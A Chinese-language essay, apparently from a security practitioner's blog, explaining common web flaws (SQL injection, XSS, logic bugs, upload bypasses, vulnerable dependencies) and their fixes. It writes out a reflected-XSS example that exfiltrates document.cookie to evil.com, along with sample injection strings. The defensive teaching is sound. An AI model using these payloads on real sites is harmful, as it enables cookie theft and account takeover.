WEB安全

```html WEB安全

WEB安全

去年冬天,我帮一个做独立博客的朋友查日志。他的站点流量不大,每天也就几百个IP,但数据库里莫名其妙多出几百条垃圾评论,全是俄语广告。他以为是WordPress插件漏洞,换了几个安全插件,没用。我让他把最近一周的访问日志导出来,筛掉正常爬虫,剩下不到二十个IP在反复请求同一个接口——/wp-comments-post.php,但请求体里塞满了十六进制编码的字符串。典型的SQL注入尝试。他那个主题文件里,评论提交的处理函数直接拼接了$_POST['comment'],连prepare都没用。这事不大,但很典型:很多WEB安全问题不是黑客多高明,是开发者把“能跑就行”当成了默认标准。

说到SQL注入,这玩意儿比很多人想象的更顽固。OWASP Top 10里它常年霸榜,不是没有原因。你写SELECT * FROM users WHERE id = $_GET['id'],攻击者传个1 OR 1=1,整个用户表就出去了。更狠的是UNION SELECT,直接把你数据库版本、表名、甚至密码哈希全拖走。我见过一个老系统,连information_schema都懒得过滤,攻击者用sqlmap跑一遍,十分钟拿到管理员账号。修复方案其实简单:参数化查询,或者至少用mysql_real_escape_string——但后者有字符集陷阱,宽字节注入就是专门打这个的。

跨站脚本(XSS)又是另一回事。它不碰数据库,直接在用户浏览器里执行代码。反射型XSS最常见,你搜个关键词,结果页把关键词原样吐回HTML里,没转义。攻击者构造一个链接,?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>,发给你,你一点,Cookie就没了。存储型XSS更麻烦,评论、昵称、个人简介,任何能存进数据库再显示出来的地方都可能中招。我见过一个论坛,用户签名档允许HTML,但只过滤了<script>标签,结果有人用<img src=x onerror=alert(1)>,照样弹窗。防御XSS,输出编码比输入过滤更靠谱——在HTML里用htmlspecialchars,在JS里用JSON.stringify,在URL里用urlencode,别偷懒。

“我服务器上了WAF,应该没事吧?”——这话我听过太多次。WAF能挡脚本小子,挡不住逻辑漏洞。

逻辑漏洞才是真正让人头疼的。比如密码重置,很多系统发个带token的链接到邮箱,但token生成规则是md5(用户ID+时间戳)。攻击者注册个账号,拿到自己的token,反推出时间戳,再枚举用户ID,就能重置别人的密码。还有越权,/api/user/123/profile,你把123改成124,如果服务端不校验当前登录用户是否等于123,那就直接看别人数据了。这类问题WAF根本拦不住,因为请求长得完全合法。我去年测过一个电商站,订单详情接口只传order_id,不校验归属,改个数字就能看别人买了啥、寄到哪。修复?加个WHERE user_id = current_user的事,但开发当时就是忘了。

文件上传也是重灾区。很多站点只检查Content-Type,攻击者抓包改成image/jpeg,实际传个.php文件,一访问就执行。更隐蔽的是.htaccess或者.user.ini,配合图片马,防不胜防。我习惯建议:上传目录禁止执行脚本,文件名重命名,白名单校验后缀,这三条做到位能挡掉九成问题。但总有人图省事,直接把用户上传的文件扔进webroot,还保留原名。

最后说个容易被忽略的:依赖库漏洞。你代码写得再安全,引用的jQuery是1.x版本,里面有个已知的XSS,照样出事。Log4j那次,多少Java站中招?不是他们代码烂,是根本没意识到log4j-core的JNDI注入能远程执行命令。所以我现在看一个项目,先跑npm audit或者mvn dependency:tree,把过期依赖升一遍。这活儿枯燥,但比出事之后擦屁股强。

WEB安全没什么银弹。参数化查询、输出编码、最小权限、依赖更新,都是老生常谈,但每一条背后都有无数真实案例。你少写一个htmlspecialchars,可能就有人中招。你多信一次“用户输入是安全的”,可能数据库就没了。这行当里,侥幸心理是最贵的成本。

```